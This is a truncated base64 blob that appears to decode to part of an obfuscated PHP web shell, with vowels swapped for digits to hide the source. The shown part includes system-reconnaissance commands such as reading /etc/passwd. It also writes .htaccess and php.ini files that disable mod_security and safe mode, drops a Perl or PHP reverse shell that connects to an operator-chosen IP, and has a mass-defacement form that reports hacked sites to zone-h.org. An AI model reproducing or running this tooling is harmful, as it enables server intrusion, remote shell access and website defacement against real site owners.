Ow0KICAgICAgICAgICAgNGYoJGZwKXsNCiAgICAgICAgICAgICAgICAgICAgZndyNHQ1KCRmcCwgJDIzdCk7DQogICAgICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgNWNoMiAiJHAxY2s1dHMgKCIgLiByMjNuZCgoJHAxY2s1dHMqZWkpLzYwYXUsIGEpIC4gIiBNQikgcDFjazV0cyAxdjVyMWc0bmcgIi4gcjIzbmQoJHAxY2s1dHMvJDV4NWNfdDRtNSwgYSkgLiAiIHAxY2s1dHMgcDVyIHM1YzJuZCI7DQogICAgICAgICA1Y2gyICI8L3ByNT4iOw0KICAgIH0NCiAgICANCiAgICA1Y2gyICc8L2Q0dj4nOyANCiAgIA0KICAgIG0xZGYyMnQ1cigpOyAgICAgICAgDQp9DQoNCmYzbmN0NDJuIG0xZHByMmMoKQ0Kew0KICAgIG0xZGg1MWQoKTsNCiAgICA1Y2gyICI8RDR2IGNsMXNzPWg1MWQ1cj48YzVudDVyPiI7DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCiAgNGYoJEdMT0JBTFNbJ3N5cyddPT0idzRuIikNCiAgew0KICAgICRwcjJjNXNzPTFycjF5KA0KICAgICJTeXN0NW0gSW5mMiIgPT4ic3lzdDVtNG5mMiIsDQogICAgIkFjdDR2NSBDMm5uNWN0NDJucyIgPT4gIm41dHN0MXQgLTFuIiwNCiAJIlIzbm40bmcgUzVydjRjNXMiID0+ICJuNXQgc3QxcnQiLA0KIAkiVXM1ciBBY2MyM250cyIgPT4gIm41dCAzczVyIiwNCiAJIlNoMncgQzJtcDN0NXJzIiA9PiAibjV0IHY0NXciLA0KICAgICJBUlAgVDFibDUiID0+ICIxcnAgLTEiLA0KICAgICJJUCBDMm5mNGczcjF0NDJuIiA9PiAiNHBjMm5mNGcgLzFsbCINCiAgICApOw0KICAgIH0NCiAgNWxzNQ0KICB7IA0KICAgICRwcjJjNXNzPTFycjF5KA0KICAgICJQcjJjNXNzIHN0MXQzcyIgPT4gInBzIDEzeCIsDQogICAgIlN5c2wyZyIgPT4iYzF0ICAvNXRjL3N5c2wyZy5jMm5mIiwNCiAgICAiUjVzMmx2IiA9PiAiYzF0ICAvNXRjL3I1czJsdi5jMm5mIiwNCiAgICAiSDJzdHMiID0+ImMxdCAvNXRjL2gyc3RzIiwNCiAgICAiUDFzc3dkIiA9PiJjMXQgLzV0Yy9wMXNzd2QiLA0KICAgICJDcDM0bmYyIj0+ImMxdCAvcHIyYy9jcDM0bmYyIiwNCiAgICAiVjVyczQybiI9PiJjMXQgL3ByMmMvdjVyczQybiIsDQogICAgIlNiNG4iPT4ibHMgLTFsIC8zc3Ivc2I0biIsDQogICAgIkludDVycjNwdHMiPT4iYzF0IC9wcjJjLzRudDVycjNwdHMiLA0KICAgICJsczF0dHIiPT4ibHMxdHRyIC12MSIsDQogICAgIlVwdDRtNSI9PiIzcHQ0bTUiLA0KICAgICJGc3QxYiIgPT4iYzF0IC81dGMvZnN0MWIiLA0KICAgICJIREQgU3AxYzUiID0+ICJkZiAtaCINCiAgICApO30NCiAgICANCiAgICBmMnI1MWNoKCRwcjJjNXNzIDFzICRuID0+ICRsNG5rKQ0KICAgIHsNCiAgICAgICAgNWNoMiAnPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhuM2xsLG4zbGwsXCcnLiRsNG5rLidcJykiPiB8ICcuJG4uJyB8IDwvMT4nOw0KICAgIH0NCiAgICA1Y2gyICI8L2M1bnQ1cj4iOyANCiAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgIHsNCiAgICAgICAgNWNoMiAiPHByNSBjbDFzcz0nbWw2JyBzdHlsNT0nbTFyZzRuLXQycDppcHgnID4iOw0KICAgICAgICA1Y2gyIG0xZEV4KCRfUE9TVFsncDYnXSk7DQogICAgICAgIDVjaDIgJzwvcHI1Pic7DQogICAgIH0NCiAgICAgNWNoMiAiPC9kNHY+IjsNCiAgICAgbTFkZjIydDVyKCk7DQogICAgIH0NCiAgICAgDQpmM25jdDQybiBtMWRzMWY1KCkNCnsNCiAgICBtMWRoNTFkKCk7DQogICAgNWNoMiAiPGQ0diBjbDFzcz1oNTFkNXI+PGM1bnQ1cj48aG8+PHNwMW4+fCBTQUZFIE1PREUgQU5EIE1PRCBTRUNVUklUWSBESVNBQkxFRCBBTkQgUEVSTCBpMDAgSU5URVJOQUwgRVJST1IgQllQQVNTIHw8L3NwMW4+PC9obz5GMmxsMnc0bmcgcGhwLjRuNCAxbmQgLmh0MWNjNXNzKG0yZCkgMW5kIHA1cmwoLmh0MWNjNXNzKVtjMm52NXJ0IHA1cmwgNXh0NW50NDJuICoucGwgPT4gKi5zaCAgXSBmNGw1cyBjcjUxdDUgNG4gZjJsbDJ3NG5nIGQ0cjxicj58ICIuJEdMT0JBTFNbJ2N3ZCddLiIgfDxicj4iOw0KICAgIDVjaDIgJzwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJ3BocC40bjRcJyxuM2xsKSI+fCBQSFAuSU5JIHwgPC8xPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnNG40XCcpIj58IC5odDFjYzVzcyhNMmQpIHwgPC8xPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsXCdzaFwnKSI+fCAuaHQxY2M1c3MocDVybCkgfCA8LzE+PC9jNW50NXI+JzsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwYSddKSAmJiA0c3M1dCgkX1BPU1RbJ3BhJ10pKQ0KICAgIHsNCiAgICAkZjRsPWYycDVuKCRHTE9CQUxTWydjd2QnXS4iLmh0MWNjNXNzIiwidyIpOw0KICAgIGZ3cjR0NSgkZjRsLCc8SWZNMmQzbDUgbTJkX3M1YzNyNHR5LmM+DQpTNWMtLS0tLS1Fbmc0bjUgT2ZmDQpTNWMtLS0tLS1TYzFuUE9TVCBPZmYNCjwvSWZNMmQzbDU+Jyk7DQogICAgZmNsMnM1KCRmNGwpOw0KICAgfQ0KICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkmJiA0c3M1dCgkX1BPU1RbJ3A2J10pKQ0KICAgew0KICAgICRmNGw9ZjJwNW4oJEdMT0JBTFNbJ2N3ZCddLiJwaHAuNG40IiwidyIpOw0KICAgICAgZndyNHQ1KCRmNGwsJ3MxZjVfbTJkNT1PRkYNCmQ0czFibDVfZjNuY3Q0Mm5zPU5PTkUnKTsNCiAgICAgZmNsMnM1KCRmNGwpOw0KICAgIH0NCiAgICA0ZighNW1wdHkoJF9QT1NUWydwbyddKSAmJiA0c3M1dCgkX1BPU1RbJ3BvJ10pKQ0KICAgIHsNCiAgICAkZjRsPWYycDVuKCRHTE9CQUxTWydjd2QnXS4iLmh0MWNjNXNzIiwidyIpOw0KICAgIGZ3cjR0NSgkZjRsLCdPcHQ0Mm5zIEYybGwyd1N5bUw0bmtzIE0zbHQ0VjQ1d3MgSW5kNXg1cyBFeDVjQ0dJDQpBZGRUeXA1IDFwcGw0YzF0NDJuL3gtaHR0cGQtY2c0IC5zaA0KQWRkSDFuZGw1ciBjZzQtc2NyNHB0IC5wbA0KQWRkSDFuZGw1ciBjZzQtc2NyNHB0IC5wbCcpOw0KICAgICBmY2wyczUoJGY0bCk7IA0KICAgIH0NCiAgICA1Y2gyICI8YnI+PC9kNHY+IjsNCiAgICBtMWRmMjJ0NXIoKTsNCiAgICANCn0NCg0KZjNuY3Q0Mm4gbTFkYzJubjVjdCgpDQp7DQogbTFkaDUxZCgpOw0KICRiMWNrX2Mybm41Y3RfcD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUXA2Y2FVZ1VhOWoxYVYwT3cwS0pHbGhaR1J5UFdsM1pYUmZZWFJ2YjRna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjajJnSkNGY2I0SXBPdzBLSkhCaFpHUnlQWE52WWF0aFpHUnlYYWwzS0NSQlVrZFdXekZkTENBazFXRmtaSElwSUh4OElHUnBaU2c0UlhKeWJvSWVJQ1FoWEd1NEtUc05DNFJ3Y205MGJ6Nm5aWFJ3Y205MGJhSmlibUZ0WlNnbmRHTndKeWs3RFFwemJhTnJaWFEyVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z0pIQnlib1J2S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXBqYmFpM1pXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrMVdVMklrVnljbTl5TzRBa0lWeDNJNGs3RFFwdmNHVjNLRk5VUkVsT0xDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFVDZWVUxDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFUlZKU0xDQTRQNFpUVDBOTFJWUTRLVHNOQ25OaWNvUmxiU2duTGFKcGI0OXoxQ0F0MVNjcE93MEtZYXh2Y2FVMlU2UkVTVXVwT3cwS1lheHZjYVUyVTZSRVQ2VlVLVHNOQ21Oc2JvTmxLRk5VUkVWU1U0azciOw0KIDVjaDIgIjxkNHYgY2wxc3M9aDUxZDVyPjxjNW50NXI+PGhvPjxzcDFuPnwgUEVSTCBBTkQgUEhQKHRocjUxZHMpIEJBQ0sgQ09OTkVDVCB8PC9zcDFuPjwvaG8+IjsNCiA1Y2gyICI8ZjJybSAgMm5TM2JtNHQ9XCJnKG4zbGwsbjNsbCwnYmNwJyx0aDRzLnM1cnY1ci52MWwzNSx0aDRzLnAycnQudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5QRVJMIEJBQ0sgQ09OTkVDVDwvc3Axbj48YnI+SVA6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdzNXJ2NXInIHYxbDM1PSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+IFAycnQ6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdwMnJ0JyB2MWwzNT0ndXVvJz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPiI7DQogNWNoMiAiPGJyPjxmMnJtICAyblMzYm00dD1cImcobjNsbCxuM2xsLCdwaHAnLHRoNHMuczVydjVyLnYxbDM1LHRoNHMucDJydC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPlBIUCBCQUNLIENPTk5FQ1Q8L3NwMW4+PGJyPklQOiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nczVydjVyJyB2MWwzNT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQMnJ0OiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDJydCcgdjFsMzU9J3V1byc+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L2M1bnQ1cj4iOw0KIDRmKDRzczV0KCRfUE9TVFsncDYnXSkpIHsNCgkJZjNuY3Q0Mm4gY2YoJGYsJHQpIHsNCgkJCSR3ID0gQGYycDVuKCRmLCJ3IikgMnIgQGYzbmN0NDJuXzV4NHN0cygnZjRsNV9wM3RfYzJudDVudHMnKTsNCgkJCTRmKCR3KXsNCgkJCQlAZndyNHQ1KCR3LEBiMXM1ZXVfZDVjMmQ1KCR0KSk7DQoJCQkJQGZjbDJzNSgkdyk7DQoJCQl9DQoJCX0NCgkJNGYoJF9QT1NUWydwNiddID09ICdiY3AnKSB7DQoJCQljZigiL3RtcC9iYy5wbCIsJGIxY2tfYzJubjVjdF9wKTsNCgkJCSQyM3QgPSBtMWRFeCgicDVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydwYSddLiIgIi4kX1BPU1RbJ3BvJ10uIiA2Pi9kNXYvbjNsbCBhPiY2ICYiKTsNCgkJCTVjaDIgIjxwcjUgY2wxc3M9bWw2IHN0eWw1PSdtMXJnNG4tdDJwOmlweCc+UzNjYzVzc2YzbGx5IDJwNW41ZCByNXY1cnM1IHNoNWxsIHQyICIuJF9QT1NUWydwYSddLiI6Ii4kX1BPU1RbJ3BvJ10uIjxicj5DMm5uNWN0NG5nLi4uPC9wcjU+IjsNCiAgICAgICAgICAgIEAzbmw0bmsoIi90bXAvYmMucGwiKTsNCgkJfQ0KICAgICAgICA0ZigkX1BPU1RbJ3A2J109PSdwaHAnKQ0KIHsNCiAgICAgICAgICAgIA0KQHM1dF90NG01X2w0bTR0ICgwKTsNCiQ0cCA9ICRfUE9TVFsncGEnXTsgDQokcDJydCA9JF9QT1NUWydwbyddOyAgICAgDQokY2gzbmtfczR6NSA9IDZ1MDA7DQokd3I0dDVfMSA9IG4zbGw7DQokNXJyMnJfMSA9IG4zbGw7DQokc2g1bGwgPSAnM24xbTUgLTE7IHc7IDRkOyAvYjRuL3NoIC00JzsNCiRkMTVtMm4gPSAwOw0KJGQ1YjNnID0gMDsNCjVjaDIgIjxwcjUgY2wxc3M9bWw2IHN0eWw1PSdtMXJnNG4tdDJwOmlweCc+IjsNCg0KNGYgKGYzbmN0NDJuXzV4NHN0cygncGNudGxfZjJyaycpKSB7DQoJDQoJJHA0ZCA9IHBjbnRsX2YycmsoKTsNCgkNCgk0ZiAoJHA0ZCA9PSAtNikgew0KCQk1Y2gyICJDMW50IGYycmshPGJyPiI7DQoJCTV4NHQoNik7DQoJfQ0KCQ0KCTRmICgkcDRkKSB7DQoJCTV4NHQoMCk7ICANCgl9DQoNCgk0ZiAocDJzNHhfczV0czRkKCkgPT0gLTYpIHsNCgkJNWNoMiAiRXJyMnI6IEMxbid0IHM1dHM0ZCgpPGJyPiI7DQoJCTV4NHQoNik7DQoJfQ0KDQoJJGQxNW0ybiA9IDY7DQp9IDVsczUgew0KCTVjaDIgIldBUk5JTkc6IEYxNGw1ZCB0MiBkMTVtMm40czUuICBUaDRzIDRzIHEzNHQ1IGMybW0ybiAxbmQgbjJ0IGYxdDFsPGJyPiI7DQp9DQoNCmNoZDRyKCIvIik7DQoNCjNtMXNrKDApOw0KDQokczJjayA9IGZzMmNrMnA1bigkNHAsICRwMnJ0LCAkNXJybjIsICQ1cnJzdHIsIG8wKTsNCjRmICghJHMyY2spIHsNCgk1Y2gyICIkNXJyc3RyICgkNXJybjIpIjsNCgk1eDR0KDYpOw0KfQ0KDQoNCiRkNXNjcjRwdDJyc3A1YyA9IDFycjF5KA0KICAgMCA9PiAxcnIxeSgicDRwNSIsICJyIiksICANCiAgIDYgPT4gMXJyMXkoInA0cDUiLCAidyIpLCAgDQogICBhID0+IDFycjF5KCJwNHA1IiwgInciKSAgIA0KKTsNCg0KJHByMmM1c3MgPSBwcjJjXzJwNW4oJHNoNWxsLCAkZDVzY3I0cHQycnNwNWMsICRwNHA1cyk7DQoNCjRmICghNHNfcjVzMjNyYzUoJHByMmM1c3MpKSB7DQoJNWNoMiAiRVJST1I6IEMxbid0IHNwMXduIHNoNWxsPGJyPiI7DQoJNXg0dCg2KTsNCn0NCg0KDQpAc3RyNTFtX3M1dF9ibDJjazRuZygkcDRwNXNbMF0sIDApOw0KQHN0cjUxbV9zNXRfYmwyY2s0bmcoJHA0cDVzWzZdLCAwKTsNCkBzdHI1MW1fczV0X2JsMmNrNG5nKCRwNHA1c1thXSwgMCk7DQpAc3RyNTFtX3M1dF9ibDJjazRuZygkczJjaywgMCk7DQoNCjVjaDIgIlMzY2M1c3NmM2xseSAycDVuNWQgcjV2NXJzNSBzaDVsbCB0MiAkNHA6JHAycnQ8YnI+IjsNCg0Kd2g0bDUgKDYpIHsNCgk0ZiAoZjUyZigkczJjaykpIHsNCgkJNWNoMiAiRVJST1I6IFNoNWxsIGMybm41Y3Q0Mm4gdDVybTRuMXQ1ZDxicj4iOw0KCQlicjUxazsNCgl9DQoNCgk0ZiAoZjUyZigkcDRwNXNbNl0pKSB7DQoJCTVjaDIgIkVSUk9SOiBTaDVsbCBwcjJjNXNzIHQ1cm00bjF0NWQ8YnI+IjsNCgkJYnI1MWs7DQoJfQ0KDQoJDQoJJHI1MWRfMSA9IDFycjF5KCRzMmNrLCAkcDRwNXNbNl0sICRwNHA1c1thXSk7DQoJJG4zbV9jaDFuZzVkX3MyY2s1dHM9QHN0cjUxbV9zNWw1Y3QoJHI1MWRfMSwgJHdyNHQ1XzEsICQ1cnIycl8xLCBuM2xsKTsNCg0KCTRmICg0bl8xcnIxeSgkczJjaywgJHI1MWRfMSkpIHsNCgkJNGYgKCRkNWIzZykgNWNoMiAiU09DSyBSRUFEPGJyPiI7DQoJCSQ0bnAzdD1mcjUxZCgkczJjaywgJGNoM25rX3M0ejUpOw0KCQk0ZiAoJGQ1YjNnKSA1Y2gyICJTT0NLOiAkNG5wM3Q8YnI+IjsNCgkJZndyNHQ1KCRwNHA1c1swXSwgJDRucDN0KTsNCgl9DQoNCgk0ZiAoNG5fMXJyMXkoJHA0cDVzWzZdLCAkcjUxZF8xKSkgew0KCQk0ZiAoJGQ1YjNnKSA1Y2gyICJTVERPVVQgUkVBRDxicj4iOw0KCQkkNG5wM3QgPSBmcjUxZCgkcDRwNXNbNl0sICRjaDNua19zNHo1KTsNCgkJNGYgKCRkNWIzZykgNWNoMiAiU1RET1VUOiAkNG5wM3Q8YnI+IjsNCgkJZndyNHQ1KCRzMmNrLCAkNG5wM3QpOw0KCX0NCg0KCQ0KCTRmICg0bl8xcnIxeSgkcDRwNXNbYV0sICRyNTFkXzEpKSB7DQoJCTRmICgkZDViM2cpIDVjaDIgIlNUREVSUiBSRUFEPGJyPiI7DQoJCSQ0bnAzdCA9IGZyNTFkKCRwNHA1c1thXSwgJGNoM25rX3M0ejUpOw0KCQk0ZiAoJGQ1YjNnKSA1Y2gyICJTVERFUlI6ICQ0bnAzdDxicj4iOw0KCQlmd3I0dDUoJHMyY2ssICQ0bnAzdCk7DQoJfQ0KfQ0KDQpmY2wyczUoJHMyY2spOw0KZmNsMnM1KCRwNHA1c1swXSk7DQpmY2wyczUoJHA0cDVzWzZdKTsNCmZjbDJzNSgkcDRwNXNbYV0pOw0KcHIyY19jbDJzNSgkcHIyYzVzcyk7DQoNCjVjaDIgIjwvcHI1PiI7DQp9DQoNCn0gICANCiA1Y2gyICI8L2Q0dj4iOw0KIG0xZGYyMnQ1cigpOw0KfQ0KZjNuY3Q0Mm4gWjJuNUgoJDNybCwgJGgxY2s1ciwgJGgxY2ttMmQ1LCRyNXMybiwgJHM0dDUgKQ0Kew0KCSRrID0gYzNybF80bjR0KCk7DQoJYzNybF9zNXQycHQoJGssIENVUkxPUFRfVVJMLCAkM3JsKTsNCgljM3JsX3M1dDJwdCgkayxDVVJMT1BUX1BPU1QsdHIzNSk7DQoJYzNybF9zNXQycHQoJGssIENVUkxPUFRfUE9TVEZJRUxEUywiZDVmMWM1cj0iLiRoMWNrNXIuIiZkMm0xNG42PSIuICRzNHQ1LiImaDFja20yZDU9Ii4kaDFja20yZDUuIiZyNTFzMm49Ii4kcjVzMm4pOw0KCWMzcmxfczV0MnB0KCRrLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRyMzUpOw0KCWMzcmxfczV0MnB0KCRrLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cjM1KTsNCgkkazNicjEgPSBjM3JsXzV4NWMoJGspOw0KCWMzcmxfY2wyczUoJGspOw0KCXI1dDNybiAkazNicjE7DQp9DQpmM25jdDQybiBtMWR6Mm41aCgpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpKQ0KICAgIHsNCiAgICAgICAgNWNoMiAiPHByNSBjbDFzcz1tbDYgc3R5bDU9J20xcmc0bi10MnA6aXB4Jz48YzVudDVyPjxmMm50IGMybDJyPXI1ZD5QSFAgQ1VSTCBOT1QgRVhJVDwvZjJudD48L2M1bnQ1cj48L3ByNT4iOw0KICAgIH0NCiAgICA1Y2gyICI8ZDR2IGNsMXNzPWg1MWQ1cj48YzVudDVyPjxicj4iOw0KICAgIDVjaDIgJzxobz48c3Axbj58Wk9ORS1IIE1BU1MgREVGQUNFUiB8PC9zcDFuPjwvaG8+DQogICAgPGYycm0gIDJuUzNibTR0PSJnKG4zbGwsbjNsbCx0aDRzLmQ1ZjFjNXIudjFsMzUsdGg0cy5oMWNrbTJkNS52MWwzNSx0aDRzLmQybTE0bi52MWwzNSk7cjV0M3JuIGYxbHM1OyIgPg0KICAgIDxzcDFuPnwgTjJ0NGY0NXIgfDwvc3Axbj48YnI+DQo8NG5wM3QgdHlwNT0idDV4dCIgbjFtNT1kNWYxYzVyIHM0ejU9InUwIiB2MWwzNT0iQXR0MWNrNXIiIC8+PGJyPg0KPHM1bDVjdCBuMW01PWgxY2ttMmQ1Pg0KPDJwdDQybiA+LS0tLS0tLS1TRUxFQ1QtLS0tLS0tLTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNiI+a24yd24gdjNsbjVyMWI0bDR0eSAoNC41LiAzbnAxdGNoNWQgc3lzdDVtKTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYSIgPjNuZDRzY2wyczVkIChuNXcpIHYzbG41cjFiNGw0dHk8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9Im8iID5jMm5mNGczcjF0NDJuIC8gMWRtNG4uIG00c3QxazU8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9InUiID5icjN0NSBmMnJjNSAxdHQxY2s8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImkiID5zMmM0MWwgNW5nNG41NXI0bmc8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImUiID5XNWIgUzVydjVyIDRudHIzczQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNyIgPlc1YiBTNXJ2NXIgNXh0NXJuMWwgbTJkM2w1IDRudHIzczQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iOCIgPk0xNGwgUzVydjVyIDRudHIzczQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iOSIgPkZUUCBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2MCIgPlNTSCBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2NiIgPlQ1bG41dCBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2YSIgPlJQQyBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2byIgPlNoMXI1cyBtNHNjMm5mNGczcjF0NDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2dSIgPk90aDVyIFM1cnY1ciA0bnRyM3M0Mm48LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9IjZpIiA+U1FMIEluajVjdDQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNmUiID5VUkwgUDI0czJuNG5nPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2NyIgPkY0bDUgSW5jbDNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2OCIgPk90aDVyIFc1YiBBcHBsNGMxdDQybiBiM2c8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9IjY5IiA+UjVtMnQ1IDFkbTRuNHN0cjF0NHY1IHAxbjVsIDFjYzVzcyBicjN0NWYycmM0bmc8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImEwIiA+UjVtMnQ1IDFkbTRuNHN0cjF0NHY1IHAxbjVsIDFjYzVzcyBwMXNzdzJyZCBnMzVzczRuZzwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYTYiID5SNW0ydDUgMWRtNG40c3RyMXQ0djUgcDFuNWwgMWNjNXNzIHMyYzQxbCA1bmc0bjU1cjRuZzwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYWEiID5BdHQxY2sgMWcxNG5zdCAxZG00bjRzdHIxdDJyKHAxc3N3MnJkIHN0NTFsNG5nL3NuNGZmNG5nKTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYW8iID5BY2M1c3MgY3I1ZDVudDQxbHMgdGhyMjNnaCBNMW4gSW4gdGg1IE00ZGRsNSAxdHQxY2s8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImF1IiA+UjVtMnQ1IHM1cnY0YzUgcDFzc3cycmQgZzM1c3M0bmc8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImFpIiA+UjVtMnQ1IHM1cnY0YzUgcDFzc3cycmQgYnIzdDVmMnJjNTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYWUiID5SNXIyM3Q0bmcgMWZ0NXIgMXR0MWNrNG5nIHRoNSBGNHI1dzFsbDwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYTciID5SNXIyM3Q0bmcgMWZ0NXIgMXR0MWNrNG5nIHRoNSBSMjN0NXI8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImE4IiA+RE5TIDF0dDFjayB0aHIyM2doIHMyYzQxbCA1bmc0bjU1cjRuZzwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYTkiID5ETlMgMXR0MWNrIHRocjIzZ2ggYzFjaDUgcDI0czJuNG5nPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJvMCIgPk4ydCAxdjE0bDFibDU8LzJwdDQybj4NCjwvczVsNWN0Pjxicj4NCjxzNWw1Y3QgID4NCjwycHQ0Mm4gPk4ydCAxdjE0bDFibDU8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9IjYiID5INWguLi5qM3N0IGYyciBmM24hPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJhIiA+UjV2NW5nNSAxZzE0bnN0IHRoMXQgdzViczR0NTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0ibyIgPlAybDR0NGMxbCByNTFzMm5zPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJ1IiA+QXMgMSBjaDFsbDVuZzU8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImkiID5JIGozc3QgdzFudCB0MiBiNSB0aDUgYjVzdCBkNWYxYzVyPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJlIiA+UDF0cjQydDRzbTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNyIgPk4ydCAxdjE0bDFibDU8LzJwdDQybj4NCjwvczVsNWN0Pjxicj4NCjx0NXh0MXI1MSBuMW01PWQybTE0biBjMmxzPSJpMCIgcjJ3cz0iNmkiPkw0c3QgT2YgRDJtMTRuczwvdDV4dDFyNTE+DQo8YnI+DQo8NG5wM3QgdHlwNT0iczNibTR0IiB2MWwzNT0iPj4iIC8+PC9mMnJtPic7DQo0Zig0c3M1dCgkX1BPU1RbJ3A2J10pICYmIDRzczV0KCRfUE9TVFsncGEnXSkpDQp7DQogICAgJGgxY2s1ciA9JF9QT1NUWydwNiddOw0KICAgICRtNXRoMmQgPSRfUE9TVFsncGEnXTsNCiAgICAkbjVkNW4gPSJOMnQgMXYxNGwxYmw1IjsNCiAgICAkczR0NSA9JF9QT1NUWydwbyddOw0KICAgJDQgPSAwOw0KICAgJHM0dDVzID0gNXhwbDJkNSgiXG4iLCAkczR0NSk7DQogICA1Y2gyICI8cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPiI7DQoJd2g0bDUoJDQgPCBjMjNudCgkczR0NXMpKSANCgl7DQoJNGYoczNic3RyKCRzNHQ1c1skNF0sIDAsIHUpICE9ICJodHRwIikgDQoJew0KCQkJJHM0dDVzWyQ0XSA9ICJodHRwOi8vIi4kczR0NXNbJDRdOw0KCX0NCglaMm41SCgiaHR0cDovL3oybjUtaC4ycmcvbjJ0NGZ5L3M0bmdsNSIsICRoMWNrNXIsICRtNXRoMmQsICRuNWQ1biwgJHM0dDVzWyQ0XSk7DQoJNWNoMiAiUzR0NSA6ICIuJHM0dDVzWyQ0XS4iIEQ1ZjFjNWQgITxicj4iOw0KCSsrJDQ7DQoJfQ0KICAgICANCiAgICAiUzVuZDRuZyBTNHQ1cyBUMiBaMm41LUggSDFzIEI1NW4gQzJtcGw1dDVkIFMzY2M1c3NmM2xseSAhISA8L3ByNT4iOw0KfQ0KNWNoMiAiPC9kNHY+IjsNCm0xZGYyMnQ1cigpOw0KICAgIA0KfQ0KZjNuY3Q0Mm4gbTFkc3AydCgpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIDVjaDIgIjxkNHYgY2wxc3M9aDUxZDVyPiI7DQogICAgNWNoMiAiPHByNT4NCiAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHxgLTpfDQogICwtLS0tLi4uLl9fX18gICAgICAgICAgICB8ICAgIGArLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogKCAgICAgICAgICAgICBgYGBgLS0tLS4uLi58X19fICAgfA0KICBcICAgICBfICAgICAgICAgICAgICAgICAgICAgIGBgYGAtLS0tLi4uLl9fX18NCiAgIFwgICAgXykgIEMyZDVkIEJ5OiBJa3IxbSBBbD